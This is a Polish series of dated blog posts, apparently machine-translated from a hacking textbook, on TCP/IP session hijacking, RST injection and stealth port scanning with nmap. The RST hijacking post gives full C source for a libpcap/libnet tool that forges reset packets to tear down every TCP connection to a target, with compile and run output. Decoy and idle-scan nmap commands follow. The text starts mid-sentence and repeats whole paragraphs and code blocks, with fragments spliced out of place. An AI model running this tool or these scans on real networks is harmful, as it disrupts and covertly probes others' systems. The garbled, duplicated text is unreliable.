ofiary do komputera hosta, używając podanego numeru sekwencyjnego, aby podać prawidłowy numer potwierdzenia.Komputer hosta otrzyma sfałszowany pakiet z poprawnym numerem potwierdzenia i nie będzie miał powodu sądzić, że nie pochodzi z maszyny ofiary.

Powrót

25.08.2020

TCP / IP Hijacking

Przejęcie protokołu TCP / IP to sprytna technika, która wykorzystuje sfałszowane pakiety do przejęcia połączenia między ofiarą a komputerem hosta. Ta technika jest wyjątkowo przydatna, gdy ofiara używa jednorazowego hasła do połączenia się z komputerem hosta. Jednorazowe hasło może być użyte do uwierzytelnienia raz i tylko raz, co oznacza, że wykrywanie uwierzytelnienia jest bezużyteczne dla atakującego. Aby przeprowadzić atak przejmujący TCP / IP, osoba atakująca musi znajdować się w tej samej sieci, co ofiara. Poprzez wąchanie lokalnego segmentu sieci, wszystkie szczegóły otwartych połączeń TCP mogą zostać pobrane z nagłówków. Tak jak my widzimy, każdy pakiet TCP zawiera numer sekwencji w nagłówku. Ten numer sekwencyjny jest zwiększany wraz z każdym wysłanym pakietem, aby zapewnić, że pakiety są odbierane we właściwej kolejności. Podczas wąchania atakujący ma dostęp do numerów sekwencji dla połączenia między ofiarą (system A na poniższej ilustracji) a komputerem głównym (system B). Następnie atakujący wysyła sfałszowany pakiet z adresu IP ofiary do komputera hosta, używając podanego numeru sekwencyjnego, aby podać prawidłowy numer potwierdzenia. Komputer hosta otrzyma sfałszowany pakiet z poprawnym numerem potwierdzenia i nie będzie miał powodu sądzić, że nie pochodzi z maszyny ofiary.

Powrót

26.08.2020

RST Hijacking

Bardzo prosta forma przejęcia TCP / IP polega na wstrzyknięciu autentycznie wyglądającego pakietu resetowania (RST). Jeśli źródło jest sfałszowane, a numer potwierdzenia jest poprawny, strona otrzymująca uzna, że źródło faktycznie wysłało pakiet resetowania, a połączenie zostanie zresetowane. Wyobraź sobie program do wykonania tego ataku na docelowy adres IP. Na wysokim poziomie, sniff za pomocą libpcap, a następnie wstrzykiwać pakiety RST przy użyciu libnet. Taki program nie musi patrzeć na każdy pakiet, ale tylko na ustalone połączenia TCP z docelowym adresem IP. Wiele innych programów, które używają libpcap, również nie musi patrzeć na każdy pojedynczy pakiet, więc libpcap zapewnia sposób, aby powiedzieć jądru, aby wysyłało tylko niektóre pakiety, które pasują do filtra. Ten filtr, znany jako filtr pakietów Berkeley (BPF), jest bardzo podobny do programu. Na przykład reguła filtrowania do filtrowania docelowego adresu IP 192.168.42.88 to "host dst 192.168.42.88". Podobnie jak program, ta reguła składa się ze słowa kluczowego i musi zostać skompilowana zanim zostanie wysłana do jądra. Program tcpdump używa BPF do filtrowania tego, co przechwytuje; zapewnia również tryb zrzucania programu filtrującego.

RST Hijacking

Bardzo prosta forma przejęcia TCP / IP polega na wstrzyknięciu autentycznie wyglądającego pakietu resetowania (RST). Jeśli źródło jest sfałszowane, a numer potwierdzenia jest poprawny, strona otrzymująca uzna, że źródło faktycznie wysłało pakiet resetowania, a połączenie zostanie zresetowane. Wyobraź sobie program do wykonania tego ataku na docelowy adres IP. Na wysokim poziomie, sniff za pomocą libpcap, a następnie wstrzykiwać pakiety RST przy użyciu libnet. Taki program nie musi patrzeć na każdy pakiet, ale tylko na ustalone połączenia TCP z docelowym adresem IP. Wiele innych programów, które używają libpcap, również nie musi patrzeć na każdy pojedynczy pakiet, więc libpcap zapewnia sposób, aby powiedzieć jądru, aby wysyłało tylko niektóre pakiety, które pasują do filtra. Ten filtr, znany jako filtr pakietów Berkeley (BPF), jest bardzo podobny do programu. Na przykład reguła filtrowania do filtrowania docelowego adresu IP 192.168.42.88 to "host dst 192.168.42.88". Podobnie jak program, ta reguła składa się ze słowa kluczowego i musi zostać skompilowana zanim zostanie wysłana do jądra. Program tcpdump używa BPF do filtrowania tego, co przechwytuje; zapewnia również tryb zrzucania programu filtrującego.



reader@hacking:~/booksrc $ sudo tcpdump -d "dst host 192.168.42.88"

(000) ldh [12]

(001) jeq #0x800 jt 2 jf 4

(002) ld [30]

(003) jeq #0xc0a82a58 jt 8 jf 9

(004) jeq #0x806 jt 6 jf 5

(005) jeq #0x8035 jt 6 jf 9

(006) ld [38]

(007) jeq #0xc0a82a58 jt 8 jf 9

(008) ret #96

(009) ret #0

reader@hacking:~/booksrc $ sudo tcpdump -ddd "dst host 192.168.42.88"

10

40 0 0 12

21 0 2 2048

32 0 0 30

21 4 5 3232246360

21 1 0 2054

21 0 3 32821

32 0 0 38

21 0 1 3232246360

6 0 0 96

6 0 0 0

reader@hacking:~/booksrc $

Po skompilowaniu reguły filtrowania można ją przekazać do jądra w celu filtrowania. Filtrowanie ustalonych połączeń jest nieco bardziej skomplikowane. Wszystkie ustanowione połączenia będą miały ustawioną flagę ACK, więc tego właśnie powinniśmy szukać. Flagi TCP znajdują się w 13-tym oktecie nagłówka TCP. Flagi znajdują się w następującej kolejności, od lewej do prawej: URG, ACK, PSH, RST, SYN i FIN. Oznacza to, że jeśli flaga ACK jest włączona, 13-ty oktet miałby wartość 00010000 w postaci binarnej, czyli 16 w postaci dziesiętnej. Jeśli włączone są zarówno SYN, jak i ACK, 13-ty oktet będzie miał wartość 00010010 w postaci binarnej, czyli 18 w postaci dziesiętnej. Aby utworzyć filtr pasujący do włączonej flagi ACK bez dbania o żaden z pozostałych bitów, używany jest operator bitowy AND. Wywołanie 00010010 za pomocą 00010000 spowoduje wygenerowanie 00010000, ponieważ bit ACK jest jedynym bitem, w którym oba bity wynoszą 1. Oznacza to, że filtr tcp [13] i 16 == 16 będzie pasował do pakietów, w których flaga ACK jest włączona, niezależnie stanu pozostałych flag. Ta reguła filtrowania może zostać przepisana przy użyciu nazwanych wartości i odwróconej logiki jako tcp [tcpflags] & tcp-ack! = 0. Jest to łatwiejsze do odczytania, ale nadal zapewnia ten sam wynik. Ta reguła może być łączona z poprzednią docelową regułą IP i logiką; pełna zasada jest pokazana poniżej.

reader@hacking:~/booksrc $ sudo tcpdump -nl "tcp[tcpflags] & tcp-ack != 0 and dst host

192.168.42.88"

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode

listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes

10:19:47.567378 IP 192.168.42.72.40238 > 192.168.42.88.22: . ack 2777534975 win 92



10:19:47.770276 IP 192.168.42.72.40238 > 192.168.42.88.22: . ack 22 win 92 < nop,nop,

timestamp

85838621 29399>

if (target_ip == -1)

fatal("Invalid target address");

device = pcap_lookupdev(errbuf);

if(device == NULL)

fatal(errbuf);

pcap_handle = pcap_open_live(device, 128, 1, 0, errbuf);

if(pcap_handle == NULL)

reader@hacking:~/booksrc $ sudo tcpdump -d "dst host 192.168.42.88"

(000) ldh [12]

(001) jeq #0x800 jt 2 jf 4

(002) ld [30]

(003) jeq #0xc0a82a58 jt 8 jf 9

(004) jeq #0x806 jt 6 jf 5

(005) jeq #0x8035 jt 6 jf 9

(006) ld [38]

(007) jeq #0xc0a82a58 jt 8 jf 9

(008) ret #96

(009) ret #0

reader@hacking:~/booksrc $ sudo tcpdump -ddd "dst host 192.168.42.88"

10

40 0 0 12

21 0 2 2048

32 0 0 30

21 4 5 3232246360

21 1 0 2054

21 0 3 32821

32 0 0 38

21 0 1 3232246360

6 0 0 96

6 0 0 0

reader@hacking:~/booksrc $

Po skompilowaniu reguły filtrowania można ją przekazać do jądra w celu filtrowania. Filtrowanie ustalonych połączeń jest nieco bardziej skomplikowane. Wszystkie ustanowione połączenia będą miały ustawioną flagę ACK, więc tego właśnie powinniśmy szukać. Flagi TCP znajdują się w 13-tym oktecie nagłówka TCP. Flagi znajdują się w następującej kolejności, od lewej do prawej: URG, ACK, PSH, RST, SYN i FIN. Oznacza to, że jeśli flaga ACK jest włączona, 13-ty oktet miałby wartość 00010000 w postaci binarnej, czyli 16 w postaci dziesiętnej. Jeśli włączone są zarówno SYN, jak i ACK, 13-ty oktet będzie miał wartość 00010010 w postaci binarnej, czyli 18 w postaci dziesiętnej. Aby utworzyć filtr pasujący do włączonej flagi ACK bez dbania o żaden z pozostałych bitów, używany jest operator bitowy AND. Wywołanie 00010010 za pomocą 00010000 spowoduje wygenerowanie 00010000, ponieważ bit ACK jest jedynym bitem, w którym oba bity wynoszą 1. Oznacza to, że filtr tcp [13] i 16 == 16 będzie pasował do pakietów, w których flaga ACK jest włączona, niezależnie stanu pozostałych flag. Ta reguła filtrowania może zostać przepisana przy użyciu nazwanych wartości i odwróconej logiki jako tcp [tcpflags] & tcp-ack! = 0. Jest to łatwiejsze do odczytania, ale nadal zapewnia ten sam wynik. Ta reguła może być łączona z poprzednią docelową regułą IP i logiką; pełna zasada jest pokazana poniżej.

reader@hacking:~/booksrc $ sudo tcpdump -nl "tcp[tcpflags] & tcp-ack != 0 and dst host

192.168.42.88"

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode

listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes

10:19:47.567378 IP 192.168.42.72.40238 > 192.168.42.88.22: . ack 2777534975 win 92

< nop,nop,timestamp 85838571 0>

10:19:47.770276 IP 192.168.42.72.40238 > 192.168.42.88.22: . ack 22 win 92 < nop,nop,

timestamp

85838621 29399>

10:19:47.770322 IP 192.168.42.72.40238 > 192.168.42.88.22: P 0:20(20) ack 22 win 92

< nop,nop,timestamp 85838621 29399>

10:19:47.771536 IP 192.168.42.72.40238 > 192.168.42.88.22: P 20:732(712) ack 766 win 115

< nop,nop,timestamp 85838622 29399>

10:19:47.918866 IP 192.168.42.72.40238 > 192.168.42.88.22: P 732:756(24) ack 766 win 115

< nop,nop,timestamp 85838659 29402>

Podobna reguła jest używana w następującym programie do filtrowania pakietów, które libpcap sniffuje. Gdy program otrzymuje pakiet, informacje nagłówka są używane do sfałszowania pakietu RST. Ten program zostanie wyjaśniony na liście.

rst_hijack.c

#include < libnet.h >

#include < pcap.h >

#include "hacking.h"

void caught_packet(u_char *, const struct pcap_pkthdr *, const u_char *);

int set_packet_filter(pcap_t *, struct in_addr *);

struct data_pass {

int libnet_handle;

u_char *packet;

};

int main(int argc, char *argv[]) {

struct pcap_pkthdr cap_header;

const u_char *packet, *pkt_data;

pcap_t *pcap_handle;

char errbuf[PCAP_ERRBUF_SIZE]; // Same size as LIBNET_ERRBUF_SIZE

char *device;

u_long target_ip;

int network;

struct data_pass critical_libnet_data;

if(argc < 1) {

printf("Usage: %s \n", argv[0]);

exit(0);

}

target_ip = libnet_name_resolve(argv[1], LIBNET_RESOLVE);

if (target_ip == -1)

fatal("Invalid target address");

device = pcap_lookupdev(errbuf);

if(device == NULL)

fatal(errbuf);

pcap_handle = pcap_open_live(device, 128, 1, 0, errbuf);

if(pcap_handle == NULL)

fatal(errbuf);

critical_libnet_data.libnet_handle = libnet_open_raw_sock(IPPROTO_RAW);

if(critical_libnet_data.libnet_handle == -1)

libnet_error(LIBNET_ERR_FATAL, "can't open network interface. -- this program must

run

as root.\n");

libnet_init_packet(LIBNET_IP_H + LIBNET_TCP_H, &(critical_libnet_data.packet));

if (critical_libnet_data.packet == NULL)

libnet_error(LIBNET_ERR_FATAL, "can't initialize packet memory.\n");

libnet_seed_prand();

set_packet_filter(pcap_handle, (struct in_addr *)&target_ip);

printf("Resetting all TCP connections to %s on %s\n", argv[1], device);

pcap_loop(pcap_handle, -1, caught_packet, (u_char *)&critical_libnet_data);

pcap_close(pcap_handle);

}

Większość tego programu powinna mieć dla ciebie sens. Na początku zdefiniowana jest struktura data_pass, która służy do przekazywania danych przez wywołanie zwrotne libpcap. libnet jest używany do otwierania interfejsu surowego gniazda i przydzielania pamięci pakietów. Deskryptor pliku dla surowego gniazda i wskaźnik do pamięci pakietu będą potrzebne w funkcji wywołania zwrotnego, więc te krytyczne dane libnet są przechowywane we własnej strukturze. Ostatnim argumentem wywołania pcap_loop () jest wskaźnik użytkownika, który jest przekazywany bezpośrednio do funkcji wywołania zwrotnego. Przekazując wskaźnik do struktury critical_libnet_data, funkcja wywołania zwrotnego będzie miała dostęp do wszystkiego w tej strukturze. Ponadto wartość długości przyciągania użyta w pcap_open_live () została zmniejszona z 4096 do 128, ponieważ informacje potrzebne z pakietu są tylko w nagłówkach.

/* Sets a packet filter to look for established TCP connections to target_ip */

int set_packet_filter(pcap_t *pcap_hdl, struct in_addr *target_ip) {

struct bpf_program filter;

char filter_string[100];

sprintf(filter_string, "tcp[tcpflags] & tcp-ack != 0 and dst host %s",

inet_ntoa(*target_ip));

printf("DEBUG: filter string is \'%s\'\n", filter_string);

if(pcap_compile(pcap_hdl, &filter, filter_string, 0, 0) == -1)

fatal("pcap_compile failed");

if(pcap_setfilter(pcap_hdl, &filter) == -1)

fatal("pcap_setfilter failed");

}

Następna funkcja kompiluje i ustawia BPF, aby akceptował tylko pakiety z ustalonych połączeń do docelowego IP. Funkcja sprintf () jest po prostu printf (), która drukuje na łańcuch.

void caught_packet(u_char *user_args, const struct pcap_pkthdr *cap_header, const u_char

*packet) {

u_char *pkt_data;

struct libnet_ip_hdr *IPhdr;

struct libnet_tcp_hdr *TCPhdr;

struct data_pass *passed;



int bcount;

passed = (struct data_pass *) user_args; // Pass data using a pointer to a struct.

IPhdr = (struct libnet_ip_hdr *) (packet + LIBNET_ETH_H);

TCPhdr = (struct libnet_tcp_hdr *) (packet + LIBNET_ETH_H + LIBNET_TCP_H);

printf("resetting TCP connection from %s:%d ",

inet_ntoa(IPhdr->ip_src), htons(TCPhdr->th_sport));

printf("<---> %s:%d\n",

inet_ntoa(IPhdr->ip_dst), htons(TCPhdr->th_dport));

libnet_build_ip(LIBNET_TCP_H, // Size of the packet sans IP header

IPTOS_LOWDELAY, // IP tos

libnet_get_prand(LIBNET_PRu16), // IP ID (randomized)

0, // Frag stuff

libnet_get_prand(LIBNET_PR8), // TTL (randomized)

IPPROTO_TCP, // Transport protocol

*((u_long *)&(IPhdr->ip_dst)), // Source IP (pretend we are dst)

*((u_long *)&(IPhdr->ip_src)), // Destination IP (send back to src)

NULL, // Payload (none)

0, // Payload length

passed->packet); // Packet header memory

libnet_build_tcp(htons(TCPhdr->th_dport), // Source TCP port (pretend we are dst)

htons(TCPhdr->th_sport), // Destination TCP port (send back to src)

htonl(TCPhdr->th_ack), // Sequence number (use previous ack)

libnet_get_prand(LIBNET_PRu32), // Acknowledgement number (randomized)

TH_RST, // Control flags (RST flag set only)

libnet_get_prand(LIBNET_PRu16), // Window size (randomized)

0, // Urgent pointer

NULL, // Payload (none)

0, // Payload length

(passed->packet) + LIBNET_IP_H);// Packet header memory

if (libnet_do_checksum(passed->packet, IPPROTO_TCP, LIBNET_TCP_H) == -1)

libnet_error(LIBNET_ERR_FATAL, "can't compute checksum\n");

bcount = libnet_write_ip(passed->libnet_handle, passed->packet,

LIBNET_IP_H+LIBNET_TCP_H);

if (bcount < LIBNET_IP_H + LIBNET_TCP_H)

libnet_error(LIBNET_ERR_WARNING, "Warning: Incomplete packet written.");

usleep(5000); // pause slightly

}

Funkcja zwrotna fałszuje pakiety RST. Najpierw pobierane są krytyczne dane libnet, a wskaźniki do nagłówków IP i TCP są ustawiane przy użyciu struktur dołączonych do libnet. Moglibyśmy użyć własnych struktur z hacking-network.h, ale struktury libnet już tam są i kompensują kolejność bajtów hosta. Sfałszowany pakiet RST używa podsłuchiwanego adresu źródłowego jako miejsca docelowego i odwrotnie. Wciągnięty numer sekwencyjny jest używany jako numer potwierdzenia fałszywego pakietu, ponieważ tego się oczekuje.

reader@hacking:~/booksrc $ gcc $(libnet-config --defines) -o rst_hijack rst_hijack.c -lnet

-lpcap

reader@hacking:~/booksrc $ sudo ./rst_hijack 192.168.42.88

DEBUG: filter string is 'tcp[tcpflags] & tcp-ack != 0 and dst host 192.168.42.88'

Resetting all TCP connections to 192.168.42.88 on eth0

resetting TCP connection from 192.168.42.72:47783 <---> 192.168.42.88:22

Powrót

27.08.2020

Skanowanie portów

Skanowanie portów to sposób na określenie, które porty nasłuchują i akceptują połączenia. Ponieważ większość usług działa na standardowych, udokumentowanych portach, informacje te można wykorzystać do określenia, które usługi są uruchomione. Najprostsza forma skanowania portów polega na próbie otwarcia połączeń TCP do każdego możliwego portu docelowego systemu. Chociaż jest to skuteczne, jest również głośne i wykrywalne. Ponadto, gdy połączenia zostaną ustanowione, usługi zwykle logują adres IP. Aby tego uniknąć, wymyślono kilka sprytnych technik. Narzędzie do skanowania portów o nazwie nmap, napisane przez Fiodora, implementuje wszystkie następujące techniki skanowania portów. To narzędzie stało się jednym z najpopularniejszych narzędzi skanujących port open source

Powrót

28.08.2020

Stealth SYN Scan

Skanowanie SYN jest czasami nazywane skanowaniem półotwartym. Dzieje się tak, ponieważ w rzeczywistości nie otwiera pełnego połączenia TCP. Przywołaj uścisk dłoni TCP / IP: Po nawiązaniu pełnego połączenia najpierw wysyłany jest pakiet SYN, a następnie odsyłany jest pakiet SYN / ACK, a na koniec zwracany jest pakiet ACK w celu dokończenia uzgadniania i otwarcia połączenia. Skanowanie SYN nie kończy uzgadniania, więc pełne połączenie nigdy nie jest otwierane. Zamiast tego wysyłany jest tylko początkowy pakiet SYN, a odpowiedź jest sprawdzana. Jeśli pakiet SYN / ACK zostanie odebrany w odpowiedzi, port ten musi akceptować połączenia. Jest to rejestrowane i wysyłany jest pakiet RST w celu zerwania połączenia uniemożliwić przypadkowe wykonanie usługi. Używając nmap, można wykonać skanowanie SYN za pomocą opcji wiersza polecenia -sS. Program musi być uruchamiany jako root, ponieważ program nie używa standardowych gniazd i wymaga dostępu do surowej sieci.

reading @ hacking: ~ / booksrc $ sudo nmap -sS 192.168.42.72

Rozpoczęcie Nmap 4.20 (http://insecure.org) 2007-05-29 09:19 PDT

Interesujące porty 192.168.42.72:

Nie pokazano: 1696 zamkniętych portów

SERWIS PORTOWY

22 / tcp open ssh

Zakończono Nmap: 1 adres IP (1 host w górę) zeskanowany w ciągu 0,094 sekundy

Powrót

29.08.2020

FIN, X-mas i Null Scans

W odpowiedzi na skanowanie SYN utworzono nowe narzędzia do wykrywania i rejestrowania półotwartych połączeń. Tak więc ewoluował kolejny zbiór technik skanowania portów stealth: FIN, X-mas i skany Null. Wszystkie one obejmują wysyłanie bezsensownego pakietu do każdego portu w systemie docelowym. Jeśli port nasłuchuje, pakiety te są ignorowane. Jeśli jednak port jest zamknięty, a implementacja następuje zgodnie z protokołem (RFC 793), zostanie wysłany pakiet RST. Ta różnica może być wykorzystana do wykrycia, które porty akceptują połączenia, bez faktycznego otwierania jakichkolwiek połączeń. Skanowanie FIN wysyła pakiet FIN, skanowanie X-mas wysyła pakiet z włączonymi FIN, URG i PUSH (tak nazwane, ponieważ flagi są podświetlone jak choinka), a skanowanie Null wysyła pakiet bez TCP zestaw flag. Podczas gdy te rodzaje skanowania są bardziej ukryte, mogą być również niewiarygodne. Na przykład implementacja protokołu TCP przez Microsoft nie wysyła pakietów RST tak, jak powinien, czyniąc tę formę skanowania nieskuteczną. Użycie nmap, FIN, X-mas i NULL skanów można wykonać przy użyciu opcji wiersza poleceń odpowiednio -sF, -sX i - sN. Ich wyjście wygląda zasadniczo tak samo jak poprzednie skanowanie

Powrót

30.08.2020

Wabiki fałszujące

Innym sposobem uniknięcia wykrycia jest ukrycie się wśród kilku wabików. Ta technika po prostu fałszuje połączenia z różnych adresów IP wabików między każdym rzeczywistym połączeniem skanującym port. Odpowiedzi ze sfałszowanych połączeń nie są potrzebne, ponieważ są po prostu wprowadzające w błąd. Należy jednak użyć fałszywych adresów wabika jako prawdziwe adresy IP żywych hostów; w przeciwnym razie cel może zostać przypadkowo zalany SYN. Wabiki można określić w nmap za pomocą opcji wiersza polecenia -D. Przykładowa komenda nmap pokazana poniżej skanuje IP 192.168.42.72, używając 192.168.42.10 i 192.168.42.11 jako wabików. reading @ hacking: ~ / booksrc $ sudo nmap -D 192.168.42.10,192.168.42.11 192.168.42,72

Powrót

31.08.2020

Skanowanie bezczynne

Skanowanie w trybie bezczynności to sposób skanowania obiektu docelowego za pomocą sfałszowanych pakietów z bezczynnego hosta, obserwując zmiany w bezczynnym hoście. Osoba atakująca musi znaleźć użyteczny bezczynny host, który nie wysyła ani nie odbiera żadnego innego ruchu sieciowego i ma implementację TCP, która generuje przewidywalne identyfikatory IP, które zmieniają się o znany przyrost z każdym pakietem. Identyfikatory IP mają być unikalne na pakiet na sesję i są zwykle zwiększane o stałą kwotę. Przewidywalne identyfikatory IP nigdy nie były uważane za zagrożenie bezpieczeństwa, a skanowanie w trybie bezczynności wykorzystuje to nieporozumienie. Nowsze systemy operacyjne, takie jak najnowsze jądro Linuksa, OpenBSD i Windows Vista, randomizuj IP ID, ale starsze systemy operacyjne i sprzęt (np. drukarki) zazwyczaj tego nie robią. Po pierwsze, atakujący otrzymuje bieżący identyfikator IP bezczynnego hosta, kontaktując się z pakietem SYN lub niechcianym pakietem SYN / ACK i obserwując identyfikator IP odpowiedzi. Powtarzając ten proces kilka razy, można określić przyrost zastosowany do identyfikatora IP dla każdego pakietu. Następnie atakujący wysyła sfałszowany pakiet SYN z adresem IP bezczynnego hosta do portu na komputerze docelowym. Jedna z dwóch rzeczy się wydarzy, w zależności od tego, czy ten port na zaatakowanym komputerze nasłuchuje: Jeśli ten port nasłuchuje, pakiet SYN / ACK zostanie wysłany z powrotem do bezczynnego hosta. Ponieważ jednak bezczynny host nie wysłał początkowego pakietu SYN, ta odpowiedź wydaje się być niezamawiana na bezczynny host i odpowiada, wysyłając z powrotem pakiet RST. Jeśli ten port nie nasłuchuje, komputer docelowy nie wysyła pakietu SYN / ACK z powrotem do bezczynnego hosta, więc bezczynny host nie odpowiada. W tym momencie atakujący ponownie kontaktuje się z bezczynnym hostem, aby określić, o ile zwiększono identyfikator IP. Jeśli zwiększył się tylko o jeden interwał, żadne inne pakiety nie zostały wysłane przez bezczynny host między dwiema kontrolami. Oznacza to, że port na maszynie docelowej jest zamknięty. Jeśli identyfikator IP został zwiększony o dwa przedziały, jeden pakiet, prawdopodobnie pakiet RST, został wysłany przez bezczynną maszynę między sprawdzeniami. Oznacza to, że port na maszynie docelowej jest otwarty. Kroki są zilustrowane na następnej stronie dla obu możliwych wyników. Oczywiście, jeśli bezczynny host nie jest naprawdę bezczynny, wyniki będą przekrzywione. Jeśli na bezczynnym hoście jest niewielki ruch, dla każdego portu można wysłać wiele pakietów. Jeśli wysłanych zostanie 20 pakietów, zmiana 20 kroków przyrostowych powinna wskazywać na otwarty port, a nie na zamknięty port. Nawet jeśli istnieje niewielki ruch, taki jak jeden lub dwa pakiety niezwiązane ze skanowaniem wysyłane przez bezczynny host, różnica ta jest wystarczająco duża, aby można ją było wykryć. Jeśli ta technika jest używana prawidłowo na bezczynnym hoście, który nie ma żadnych możliwości rejestrowania, atakujący może skanować dowolny cel bez ujawniania swojego adresu IP. Po znalezieniu odpowiedniego bezczynnego hosta tego typu skanowanie można wykonać za pomocą nmap, używając wiersza polecenia -sI opcja, po której następuje bezczynny adres hosta:

reader@ hacking: ~ / booksrc $ sudo nmap -sI idlehost.com 192.168.42.7

Powrót